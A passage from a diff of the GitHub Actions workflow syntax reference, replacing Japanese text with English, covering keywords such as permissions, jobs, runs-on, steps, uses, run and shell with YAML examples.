詳しい情報については、「[ワークフローでの認証](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)」を参照してください。 +You can modify the default permissions granted to the `GITHUB_TOKEN`, adding or removing access as required, so that you only allow the minimum required access. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." -`permissions` は、最上位キーとしてワークフロー内のすべてのジョブに適用するために、または特定のジョブ内で使用できます。 特定のジョブ内に `permissions` キーを追加すると、`GITHUB_TOKEN` を使用するそのジョブ内のすべてのアクションと実行コマンドが、指定したアクセス権を取得します。 詳しい情報については、[`jobs..permissions`](#jobsjob_idpermissions) を参照してください。 +You can use `permissions` either as a top-level key, to apply to all jobs in the workflow, or within specific jobs. When you add the `permissions` key within a specific job, all actions and run commands within that job that use the `GITHUB_TOKEN` gain the access rights you specify. For more information, see [`jobs..permissions`](#jobsjob_idpermissions). {% data reusables.github-actions.github-token-available-permissions %} {% data reusables.github-actions.forked-write-permission %} -### サンプル +### Example -この例は、ワークフロー内のすべてのジョブに適用される `GITHUB_TOKEN` に設定されている権限を示しています。 すべての権限に読み取りアクセスが付与されます。 +This example shows permissions being set for the `GITHUB_TOKEN` that will apply to all jobs in the workflow. All permissions are granted read access. ```yaml name: "My workflow" @@ -319,11 +354,11 @@ jobs: ## `env` -ワークフロー中のすべてのジョブのステップから利用できる環境変数の`map`です。 1つのジョブのステップ、あるいは1つのステップからだけ利用できる環境変数を設定することもできます。 詳しい情報については「[`jobs..env`](#jobsjob_idenv)」及び「[`jobs..steps[*].env`](#jobsjob_idstepsenv)を参照してください。 +A `map` of environment variables that are available to the steps of all jobs in the workflow. You can also set environment variables that are only available to the steps of a single job or to a single step. For more information, see [`jobs..env`](#jobsjob_idenv) and [`jobs..steps[*].env`](#jobsjob_idstepsenv). {% data reusables.repositories.actions-env-var-note %} -### サンプル +### Example ```yaml env: @@ -332,17 +367,17 @@ env: ## `defaults` -デフォルト設定の`map`で、ワークフロー中のすべてのジョブに適用されます。 1つのジョブだけで利用できるデフォルト設定を設定することもできます。 詳しい情報については[`jobs..defaults`](#jobsjob_iddefaults)を参照してください。 +A `map` of default settings that will apply to all jobs in the workflow. You can also set default settings that are only available to a job. For more information, see [`jobs..defaults`](#jobsjob_iddefaults). {% data reusables.github-actions.defaults-override %} ## `defaults.run` -ワークフロー中のすべての[`run`](#jobsjob_idstepsrun)ステップに対するデフォルトの`shell`及び`working-directory`オプションを提供することができます。 1つのジョブだけで利用できる`run`のデフォルト設定を設定することもできます。 詳しい情報については[`jobs..defaults.run`](#jobsjob_iddefaultsrun)を参照してください。 このキーワード中では、コンテキストや式を使うことはできません。 +You can provide default `shell` and `working-directory` options for all [`run`](#jobsjob_idstepsrun) steps in a workflow. You can also set default settings for `run` that are only available to a job. For more information, see [`jobs..defaults.run`](#jobsjob_iddefaultsrun). You cannot use contexts or expressions in this keyword. {% data reusables.github-actions.defaults-override %} -### サンプル +### Example ```yaml defaults: @@ -354,28 +389,28 @@ defaults: {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} ## `concurrency` -並行処理により、同じ並行処理グループを使用する単一のジョブまたはワークフローのみが一度に実行されます。 並行処理グループには、任意の文字列または式を使用できます。 The expression can only use the [`github` context](/actions/learn-github-actions/contexts#github-context). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)." +Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can only use the [`github` context](/actions/learn-github-actions/contexts#github-context). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)." -ジョブレベルで `concurrency` を指定することもできます。 詳しい情報については、[`jobs..concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency) を参照してください。 +You can also specify `concurrency` at the job level. For more information, see [`jobs..concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency). {% data reusables.actions.actions-group-concurrency %} {% endif %} ## `jobs` -1つのワークフロー実行は、1つ以上のジョブからなります。 デフォルトでは、ジョブは並行して実行されます。 ジョブを逐次的に実行するには、`jobs..needs`キーワードを使用して他のジョブに対する依存関係を定義します。 +A workflow run is made up of one or more jobs. Jobs run in parallel by default. To run jobs sequentially, you can define dependencies on other jobs using the `jobs..needs` keyword. -それぞれのジョブは、`runs-on`で指定されたランナー環境で実行されます。 +Each job runs in a runner environment specified by `runs-on`. -ワークフローの利用限度内であれば、実行するジョブ数に限度はありません。 詳細については、{% data variables.product.prodname_dotcom %} ホストランナーの「[使用制限と支払い](/actions/reference/usage-limits-billing-and-administration)」、およびセルフホストランナーの使用制限については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)」を参照してください。 +You can run an unlimited number of jobs as long as you are within the workflow usage limits. For more information, see "[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)" for self-hosted runner usage limits. -If you need to find the unique identifier of a job running in a workflow run, you can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. 詳しい情報については、「[ワークフロージョブ](/rest/reference/actions#workflow-jobs)」を参照してください。 +If you need to find the unique identifier of a job running in a workflow run, you can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. For more information, see "[Workflow Jobs](/rest/reference/actions#workflow-jobs)." ## `jobs.` -Create an identifier for your job by giving it a unique name. `job_id`キーは文字列型で、その値はジョブの設定データのマップとなるものです。 ``は、`jobs`オブジェクトごとに一意の文字列に置き換える必要があります。 ``は、英字または`_`で始める必要があり、英数字と`-`、`_`しか使用できません。 +Create an identifier for your job by giving it a unique name. The key `job_id` is a string and its value is a map of the job's configuration data. You must replace `` with a string that is unique to the `jobs` object. The `` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`. -### サンプル +### Example In this example, two jobs have been created, and their `job_id` values are `my_first_job` and `my_second_job`. @@ -389,11 +424,11 @@ jobs: ## `jobs..name` -{% data variables.product.prodname_dotcom %}に表示されるジョブの名前。 +The name of the job displayed on {% data variables.product.prodname_dotcom %}. ## `jobs..needs` -このジョブの実行前に正常に完了する必要があるジョブを示します。 文字列型または文字列の配列です。 1つのジョブが失敗した場合、失敗したジョブを続行するような条件式を使用していない限り、そのジョブを必要としている他のジョブはすべてスキップされます。 +Identifies any jobs that must complete successfully before this job will run. It can be a string or array of strings. If a job fails, all jobs that need it are skipped unless the jobs use a conditional expression that causes the job to continue. ### Example: Requiring dependent jobs to be successful @@ -406,9 +441,9 @@ jobs: needs: [job1, job2] ``` -この例では、`job1`が正常に完了してから`job2`が始まり、`job3`は`job1`と`job2`が完了するまで待機します。 +In this example, `job1` must complete successfully before `job2` begins, and `job3` waits for both `job1` and `job2` to complete. -つまり、この例のジョブは逐次実行されるということです。 +The jobs in this example run sequentially: 1. `job1` 2. `job2` @@ -426,72 +461,72 @@ jobs: needs: [job1, job2] ``` -この例では、`job3`は条件式の`always()` を使っているので、`job1`と`job2`が成功したかどうかにかかわらず、それらのジョブが完了したら常に実行されます。 For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)." +In this example, `job3` uses the `always()` conditional expression so that it always runs after `job1` and `job2` have completed, regardless of whether they were successful. For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)." ## `jobs..runs-on` -**必須**。 ジョブが実行されるマシンの種類。 マシンは{% data variables.product.prodname_dotcom %}ホストランナーあるいはセルフホストランナーのいずれかです。 +**Required**. The type of machine to run the job on. The machine can be either a {% data variables.product.prodname_dotcom %}-hosted runner or a self-hosted runner. {% ifversion ghae %} -### {% data variables.actions.hosted_runner %} +### {% data variables.actions.hosted_runner %}s -{% data variables.actions.hosted_runner %} を使う場合、それぞれのジョブは `runs-on` で指定された仮想環境の新しいインスタンスで実行されます。 +If you use an {% data variables.actions.hosted_runner %}, each job runs in a fresh instance of a virtual environment specified by `runs-on`. -#### サンプル +#### Example ```yaml runs-on: [AE-runner-for-CI] ``` -詳しい情報については「[{% data variables.actions.hosted_runner %}について](/actions/using-github-hosted-runners/about-ae-hosted-runners)」を参照してください。 +For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." {% else %} {% data reusables.actions.enterprise-github-hosted-runners %} -### {% data variables.product.prodname_dotcom %}ホストランナー +### {% data variables.product.prodname_dotcom %}-hosted runners -{% data variables.product.prodname_dotcom %}ホストランナーを使う場合、それぞれのジョブは`runs-on`で指定された仮想環境の新しいインスタンスで実行されます。 +If you use a {% data variables.product.prodname_dotcom %}-hosted runner, each job runs in a fresh instance of a virtual environment specified by `runs-on`. -利用可能な{% data variables.product.prodname_dotcom %}ホストランナーの種類は以下のとおりです。 +Available {% data variables.product.prodname_dotcom %}-hosted runner types are: {% data reusables.github-actions.supported-github-runners %} -#### サンプル +#### Example ```yaml runs-on: ubuntu-latest ``` -詳しい情報については「[{% data variables.product.prodname_dotcom %}ホストランナーの仮想環境](/github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)」を参照してください。 +For more information, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)." {% endif %} -### セルフホストランナー +### Self-hosted runners {% data reusables.actions.ae-self-hosted-runners-notice %} {% data reusables.github-actions.self-hosted-runner-labels-runs-on %} -#### サンプル +#### Example ```yaml runs-on: [self-hosted, linux] ``` -詳しい情報については「[セルフホストランナーについて](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)」及び「[ワークフロー内でのセルフホストランナーの利用](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)」を参照してください。 +For more information, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)" and "[Using self-hosted runners in a workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)." {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} ## `jobs..permissions` -`GITHUB_TOKEN` に付与されているデフォルトの権限を変更し、必要に応じてアクセスを追加または削除して、必要最小限のアクセスのみを許可することができます。 詳しい情報については、「[ワークフローでの認証](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)」を参照してください。 +You can modify the default permissions granted to the `GITHUB_TOKEN`, adding or removing access as required, so that you only allow the minimum required access. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." -ジョブ定義内で権限を指定することで、必要に応じて、ジョブごとに `GITHUB_TOKEN` に異なる権限のセットを設定できます。 または、ワークフロー内のすべてのジョブの権限を指定することもできます。 ワークフローレベルでの権限の定義については、 [`permissions`](#permissions) を参照してください。 +By specifying the permission within a job definition, you can configure a different set of permissions for the `GITHUB_TOKEN` for each job, if required. Alternatively, you can specify the permissions for all jobs in the workflow. For information on defining permissions at the workflow level, see [`permissions`](#permissions). {% data reusables.github-actions.github-token-available-permissions %} {% data reusables.github-actions.forked-write-permission %} -### サンプル +### Example -この例では、`stale` という名前のジョブにのみ適用される `GITHUB_TOKEN` に設定されている権限を示しています。 `issues` および `pull-requests` のスコープに対して書き込みアクセスが許可されます。 他のすべてのスコープにはアクセスできません。 +This example shows permissions being set for the `GITHUB_TOKEN` that will only apply to the job named `stale`. Write access is granted for the `issues` and `pull-requests` scopes. All other scopes will have no access. ```yaml jobs: @@ -510,18 +545,18 @@ jobs: {% ifversion fpt or ghes > 3.0 or ghae or ghec %} ## `jobs..environment` -ジョブが参照する環境。 環境を参照するジョブがランナーに送られる前に、その環境のすべて保護ルールはパスしなければなりません。 For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." +The environment that the job references. All environment protection rules must pass before a job referencing the environment is sent to a runner. For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." -環境は、環境の`name`だけで、あるいは`name` and `url`を持つenvironmentオブジェクトとして渡すことができます。 デプロイメントAPIでは、このURLは`environment_url`にマップされます。 デプロイメントAPIに関する詳しい情報については「[デプロイメント](/rest/reference/repos#deployments)」を参照してください。 +You can provide the environment as only the environment `name`, or as an environment object with the `name` and `url`. The URL maps to `environment_url` in the deployments API. For more information about the deployments API, see "[Deployments](/rest/reference/repos#deployments)." -#### 1つの環境名を使う例 +#### Example using a single environment name {% raw %} ```yaml environment: staging_environment ``` {% endraw %} -#### 環境名とURLを使う例 +#### Example using environment name and URL ```yaml environment: @@ -531,7 +566,7 @@ environment: The URL can be an expression and can use any context except for the [`secrets` context](/actions/learn-github-actions/contexts#contexts). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)." -### サンプル +### Example {% raw %} ```yaml environment: @@ -546,33 +581,33 @@ environment: {% note %} -**注釈:** ジョブレベルで並行処理が指定されている場合、ジョブの順序は保証されないか、互いに 5 分以内にそのキューを実行します。 +**Note:** When concurrency is specified at the job level, order is not guaranteed for jobs or runs that queue within 5 minutes of each other. {% endnote %} -並行処理により、同じ並行処理グループを使用する単一のジョブまたはワークフローのみが一度に実行されます。 並行処理グループには、任意の文字列または式を使用できます。 式は、`secrets` コンテキストを除く任意のコンテキストを使用できます。 For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)." +Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can use any context except for the `secrets` context. For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)." -ワークフローレベルで `concurrency` を指定することもできます。 詳しい情報については、[`concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#concurrency) を参照してください。 +You can also specify `concurrency` at the workflow level. For more information, see [`concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#concurrency). {% data reusables.actions.actions-group-concurrency %} {% endif %} ## `jobs..outputs` -ジョブからの出力の`map`です。 ジョブの出力は、そのジョブに依存しているすべての下流のジョブから利用できます。 ジョブの依存関係の定義に関する詳しい情報については[`jobs..needs`](#jobsjob_idneeds)を参照してください。 +A `map` of outputs for a job. Job outputs are available to all downstream jobs that depend on this job. For more information on defining job dependencies, see [`jobs..needs`](#jobsjob_idneeds). -ジョブの出力は文字列であり、式を含むジョブの出力は、それぞれのジョブの終了時にランナー上で評価されます。 シークレットを含む出力はランナー上で編集され、{% data variables.product.prodname_actions %}には送られません。 +Job outputs are strings, and job outputs containing expressions are evaluated on the runner at the end of each job. Outputs containing secrets are redacted on the runner and not sent to {% data variables.product.prodname_actions %}. -依存するジョブでジョブの出力を使いたい場合には、`needs`コンテキストが利用できます。 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts#needs-context)」を参照してください。 +To use job outputs in a dependent job, you can use the `needs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#needs-context)." -### サンプル +### Example {% raw %} ```yaml jobs: job1: runs-on: ubuntu-latest - # ステップの出力をジョブの出力にマップする + # Map a step output to a job output outputs: output1: ${{ steps.step1.outputs.test }} output2: ${{ steps.step2.outputs.test }} @@ -591,11 +626,11 @@ jobs: ## `jobs..env` -ジョブ中のすべてのステップから利用できる環境変数の`map`です。 ワークフロー全体あるいは個別のステップのための環境変数を設定することもできます。 詳しい情報については[`env`](#env)及び[`jobs..steps[*].env`](#jobsjob_idstepsenv)を参照してください。 +A `map` of environment variables that are available to all steps in the job. You can also set environment variables for the entire workflow or an individual step. For more information, see [`env`](#env) and [`jobs..steps[*].env`](#jobsjob_idstepsenv). {% data reusables.repositories.actions-env-var-note %} -### サンプル +### Example ```yaml jobs: @@ -606,19 +641,19 @@ jobs: ## `jobs..defaults` -ジョブ中のすべてのステップに適用されるデフォルト設定の`map`。 ワークフロー全体に対してデフォルト設定を設定することもできます。 詳しい情報については[`defaults`](#defaults)を参照してください。 +A `map` of default settings that will apply to all steps in the job. You can also set default settings for the entire workflow. For more information, see [`defaults`](#defaults). {% data reusables.github-actions.defaults-override %} ## `jobs..defaults.run` -ジョブ中のすべての`run`ステップにデフォルトの`shell`と`working-directory`を提供します。 このセクションではコンテキストと式は許されていません。 +Provide default `shell` and `working-directory` to all `run` steps in the job. Context and expression are not allowed in this section. -ジョブ中のすべての[`run`](#jobsjob_idstepsrun)ステップにデフォルトの`shell`及び`working-directory`を提供できます。 ワークフロー全体について`run`のためのデフォルト設定を設定することもできます。 詳しい情報については[`jobs.defaults.run`](#defaultsrun)を参照してください。 このキーワード中では、コンテキストや式を使うことはできません。 +You can provide default `shell` and `working-directory` options for all [`run`](#jobsjob_idstepsrun) steps in a job. You can also set default settings for `run` for the entire workflow. For more information, see [`jobs.defaults.run`](#defaultsrun). You cannot use contexts or expressions in this keyword. {% data reusables.github-actions.defaults-override %} -### サンプル +### Example ```yaml jobs: @@ -632,17 +667,17 @@ jobs: ## `jobs..if` -条件文の`if`を使って、条件が満たされなければジョブを実行しないようにできます。 条件文を作成するには、サポートされている任意のコンテキストや式が使えます。 +You can use the `if` conditional to prevent a job from running unless a condition is met. You can use any supported context and expression to create a conditional. {% data reusables.github-actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)." ## `jobs..steps` -1つのジョブには、`steps` (ステップ) と呼ばれる一連のタスクがあります。 ステップでは、コマンドを実行する、設定タスクを実行する、あるいはリポジトリやパブリックリポジトリ、Dockerレジストリで公開されたアクションを実行することができます。 すべてのステップでアクションを実行するとは限りませんが、すべてのアクションはステップとして実行されます。 各ステップは、ランナー環境のそれ自体のプロセスで実行され、ワークスペースとファイルシステムにアクセスします。 ステップはそれ自体のプロセスで実行されるため、環境変数を変更しても、ステップ間では反映されません。 {% data variables.product.prodname_dotcom %}には、ジョブを設定して完了するステップが組み込まれています。 +A job contains a sequence of tasks called `steps`. Steps can run commands, run setup tasks, or run an action in your repository, a public repository, or an action published in a Docker registry. Not all steps run actions, but all actions run as a step. Each step runs in its own process in the runner environment and has access to the workspace and filesystem. Because steps run in their own process, changes to environment variables are not preserved between steps. {% data variables.product.prodname_dotcom %} provides built-in steps to set up and complete a job. -ワークフローの利用限度内であれば、実行するステップ数に限度はありません。 詳細については、{% data variables.product.prodname_dotcom %} ホストランナーの「[使用制限と支払い](/actions/reference/usage-limits-billing-and-administration)」、およびセルフホストランナーの使用制限については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)」を参照してください。 +You can run an unlimited number of steps as long as you are within the workflow usage limits. For more information, see "[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)" for self-hosted runner usage limits. -### サンプル +### Example {% raw %} ```yaml @@ -668,17 +703,17 @@ jobs: ## `jobs..steps[*].id` -ステップの一意の識別子。 `id`を使って、コンテキストのステップを参照することができます。 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts)」を参照してください。 +A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)." ## `jobs..steps[*].if` -条件文の`if`を使って、条件が満たされなければステップを実行しないようにできます。 条件文を作成するには、サポートされている任意のコンテキストや式が使えます。 +You can use the `if` conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional. {% data reusables.github-actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)." ### Example: Using contexts - このステップは、イベントの種類が`pull_request`でイベントアクションが`unassigned`の場合にのみ実行されます。 + This step only runs when the event type is a `pull_request` and the event action is `unassigned`. ```yaml steps: @@ -689,7 +724,7 @@ steps: ### Example: Using status check functions -`my backup step`は、ジョブの前のステップが失敗した場合にのみ実行されます。 For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)." +The `my backup step` only runs when the previous step of a job fails. For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)." ```yaml steps: @@ -702,20 +737,20 @@ steps: ## `jobs..steps[*].name` -{% data variables.product.prodname_dotcom %}で表示されるステップの名前。 +A name for your step to display on {% data variables.product.prodname_dotcom %}. ## `jobs..steps[*].uses` -ジョブでステップの一部として実行されるアクションを選択します。 アクションとは、再利用可能なコードの単位です。 ワークフロー、パブリックリポジトリ、または[公開されているDockerコンテナイメージ](https://hub.docker.com/)と同じリポジトリで定義されているアクションを使用できます。 +Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/). -Git ref、SHA、またはDockerタグ番号を指定して、使用しているアクションのバージョンを含めることを強く推奨します。 バージョンを指定しないと、アクションのオーナーがアップデートを公開したときに、ワークフローが中断したり、予期せぬ動作をしたりすることがあります。 -- リリースされたアクションバージョンのコミットSHAを使用するのが、安定性とセキュリティのうえで最も安全です。 -- 特定のメジャーアクションバージョンを使用すると、互換性を維持したまま重要な修正とセキュリティパッチを受け取ることができます。 ワークフローが引き続き動作することも保証できます。 -- アクションのデフォルトブランチを使用すると便利なこともありますが、別のユーザが破壊的変更を加えた新しいメジャーバージョンをリリースすると、ワークフローが動作しなくなる場合があります。 +We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update. +- Using the commit SHA of a released action version is the safest for stability and security. +- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work. +- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break. -入力が必要なアクションもあり、入力を[`with`](#jobsjob_idstepswith)キーワードを使って設定する必要があります。 必要な入力を判断するには、アクションのREADMEファイルをお読みください。 +Some actions require inputs that you must set using the [`with`](#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required. -アクションは、JavaScriptのファイルもしくはDockerコンテナです。 使用するアクションがDockerコンテナの場合は、Linux環境で実行する必要があります。 詳細については[`runs-on`](#jobsjob_idruns-on)を参照してください。 +Actions are either JavaScript files or Docker containers. If the action you're using is a Docker container you must run the job in a Linux environment. For more details, see [`runs-on`](#jobsjob_idruns-on). ### Example: Using versioned actions @@ -753,7 +788,7 @@ jobs: `{owner}/{repo}/{path}@{ref}` -パブリック{% data variables.product.prodname_dotcom %}リポジトリで特定のブランチ、ref、SHAにあるサブディレクトリ。 +A subdirectory in a public {% data variables.product.prodname_dotcom %} repository at a specific branch, ref, or SHA. ```yaml jobs: @@ -767,7 +802,7 @@ jobs: `./path/to/dir` -ワークフローのリポジトリにあるアクションを含むディレクトリのパス。 アクションを使用する前にリポジトリをチェックアウトする必要があります。 +The path to the directory that contains the action in your workflow's repository. You must check out your repository before using the action. ```yaml jobs: @@ -783,7 +818,7 @@ jobs: `docker://{image}:{tag}` -[Docker Hub](https://hub.docker.com/)で公開されているDockerイメージ。 +A Docker image published on [Docker Hub](https://hub.docker.com/). ```yaml jobs: @@ -798,7 +833,7 @@ jobs: `docker://{host}/{image}:{tag}` -{% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} の Docker イメージ +A Docker image in the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}. ```yaml jobs: @@ -812,7 +847,7 @@ jobs: `docker://{host}/{image}:{tag}` -パブリックレジストリのDockerイメージ。 この例では、`gcr.io` にある Google Container Registry を使用しています。 +A Docker image in a public registry. This example uses the Google Container Registry at `gcr.io`. ```yaml jobs: @@ -824,9 +859,9 @@ jobs: ### Example: Using an action inside a different private repository than the workflow -ワークフローはプライベートリポジトリをチェックアウトし、アクションをローカルで参照する必要があります。 個人アクセストークンを生成し、暗号化されたシークレットとしてトークンを追加します。 詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」および「[暗号化されたシークレット](/actions/reference/encrypted-secrets)」を参照してください。 +Your workflow must checkout the private repository and reference the action locally. Generate a personal access token and add the token as an encrypted secret. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)." -例にある `PERSONAL_ACCESS_TOKEN` をシークレットの名前に置き換えます。 +Replace `PERSONAL_ACCESS_TOKEN` in the example with the name of your secret. {% raw %} ```yaml @@ -847,20 +882,20 @@ jobs: ## `jobs..steps[*].run` -オペレーティングシステムのシェルを使用してコマンドラインプログラムを実行します。 `name`を指定しない場合、ステップ名はデフォルトで`run`コマンドで指定された文字列になります。 +Runs command-line programs using the operating system's shell. If you do not provide a `name`, the step name will default to the text specified in the `run` command. -コマンドは、デフォルトでは非ログインシェルを使用して実行されます。 別のシェルを選択して、コマンドを実行するシェルをカスタマイズできます。 For more information, see [`jobs..steps[*].shell`](#jobsjob_idstepsshell). +Commands run using non-login shells by default. You can choose a different shell and customize the shell used to run commands. For more information, see [`jobs..steps[*].shell`](#jobsjob_idstepsshell). -`run`キーワードは、それぞれがランナー環境での新しいプロセスとシェルです。 複数行のコマンドを指定すると、各行が同じシェルで実行されます。 例: +Each `run` keyword represents a new process and shell in the runner environment. When you provide multi-line commands, each line runs in the same shell. For example: -* 1行のコマンド： +* A single-line command: ```yaml - name: Install Dependencies run: npm install ``` -* 複数行のコマンド： +* A multi-line command: ```yaml - name: Clean install dependencies and build @@ -869,7 +904,7 @@ jobs: npm run build ``` -`working-directory`キーワードを使えば、コマンドが実行されるワーキングディレクトリを指定できます。 +Using the `working-directory` keyword, you can specify the working directory of where to run the command. ```yaml - name: Clean temp directory @@ -879,17 +914,17 @@ jobs: ## `jobs..steps[*].shell` -`shell`キーワードを使用して、ランナーのオペレーティングシステムのデフォルトシェルを上書きできます。 組み込みの`shell`キーワードを使用するか、カスタムセットのシェルオプションを定義することができます。 The shell command that is run internally executes a temporary file that contains the commands specified in the `run` keyword. +You can override the default shell settings in the runner's operating system using the `shell` keyword. You can use built-in `shell` keywords, or you can define a custom set of shell options. The shell command that is run internally executes a temporary file that contains the commands specified in the `run` keyword. -| サポートされているプラットフォーム | `shell` パラメータ | 説明 | 内部で実行されるコマンド | -| ----------------- | ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------- | -| すべて | `bash` | 非Windowsプラットフォームのデフォルトシェルで、`sh`へのフォールバックがあります。 Windowsでbashシェルを指定すると、Windows用Gitに含まれるbashシェルが使用されます。 | `bash --noprofile --norc -eo pipefail {0}` | -| すべて | `pwsh` | PowerShell Coreです。 {% data variables.product.prodname_dotcom %}はスクリプト名に拡張子`.ps1`を追加します。 | `pwsh -command ". '{0}'"` | -| すべて | `python` | Pythonのコマンドを実行します。 | `python {0}` | -| Linux / macOS | `sh` | 非Windowsプラットフォームにおいてシェルが提供されておらず、パス上で`bash`が見つからなかった場合のフォールバック動作です。 | `sh -e {0}` | -| Windows | `cmd` | {% data variables.product.prodname_dotcom %}はスクリプト名に拡張子`.cmd`を追加し、`{0}`を置き換えます。 | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. | -| Windows | `pwsh` | これはWindowsで使われるデフォルトのシェルです。 PowerShell Coreです。 {% data variables.product.prodname_dotcom %}はスクリプト名に拡張子`.ps1`を追加します。 セルフホストのWindowsランナーに_PowerShell Core_がインストールされていない場合、その代わりに_PowerShell Desktop_が使われます。 | `pwsh -command ". '{0}'"`. | -| Windows | `powershell` | PowerShell Desktop. {% data variables.product.prodname_dotcom %}はスクリプト名に拡張子`.ps1`を追加します。 | `powershell -command ". '{0}'"`. | +| Supported platform | `shell` parameter | Description | Command run internally | +|--------------------|-------------------|-------------|------------------------| +| All | `bash` | The default shell on non-Windows platforms with a fallback to `sh`. When specifying a bash shell on Windows, the bash shell included with Git for Windows is used. | `bash --noprofile --norc -eo pipefail {0}` | +| All | `pwsh` | The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `pwsh -command ". '{0}'"` | +| All | `python` | Executes the python command. | `python {0}` | +| Linux / macOS | `sh` | The fallback behavior for non-Windows platforms if no shell is provided and `bash` is not found in the path. | `sh -e {0}` | +| Windows | `cmd` | {% data variables.product.prodname_dotcom %} appends the extension `.cmd` to your script name and substitutes for `{0}`. | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. | +| Windows | `pwsh` | This is the default shell used on Windows. The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. If your self-hosted Windows runner does not have _PowerShell Core_ installed, then _PowerShell Desktop_ is used instead.| `pwsh -command ". '{0}'"`. | +| Windows | `powershell` | The PowerShell Desktop. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `powershell -command ". '{0}'"`. | ### Example: Running a script using bash @@ -918,7 +953,7 @@ steps: shell: pwsh ``` -### PowerShell Desktopを使用してスクリプトを実行する例 +### Example: Using PowerShell Desktop to run a script ```yaml steps: @@ -938,11 +973,11 @@ steps: shell: python ``` -### カスタムシェル +### Custom shell -`command […options] {0} [..more_options]`を使用すると、テンプレート文字列に`shell`値を設定できます。 {% data variables.product.prodname_dotcom %}は、空白区切りで最初の文字列をコマンドとして解釈し、`{0}`にある一時的なスクリプトのファイル名を挿入します。 +You can set the `shell` value to a template string using `command […options] {0} [..more_options]`. {% data variables.product.prodname_dotcom %} interprets the first whitespace-delimited word of the string as the command, and inserts the file name for the temporary script at `{0}`. -例: +For example: ```yaml steps: @@ -952,38 +987,38 @@ steps: shell: perl {0} ``` -使われるコマンドは（この例では`perl`）は、ランナーにインストールされていなければなりません。 +The command used, `perl` in this example, must be installed on the runner. -{% ifversion ghae %}{% data variables.actions.hosted_runner %} 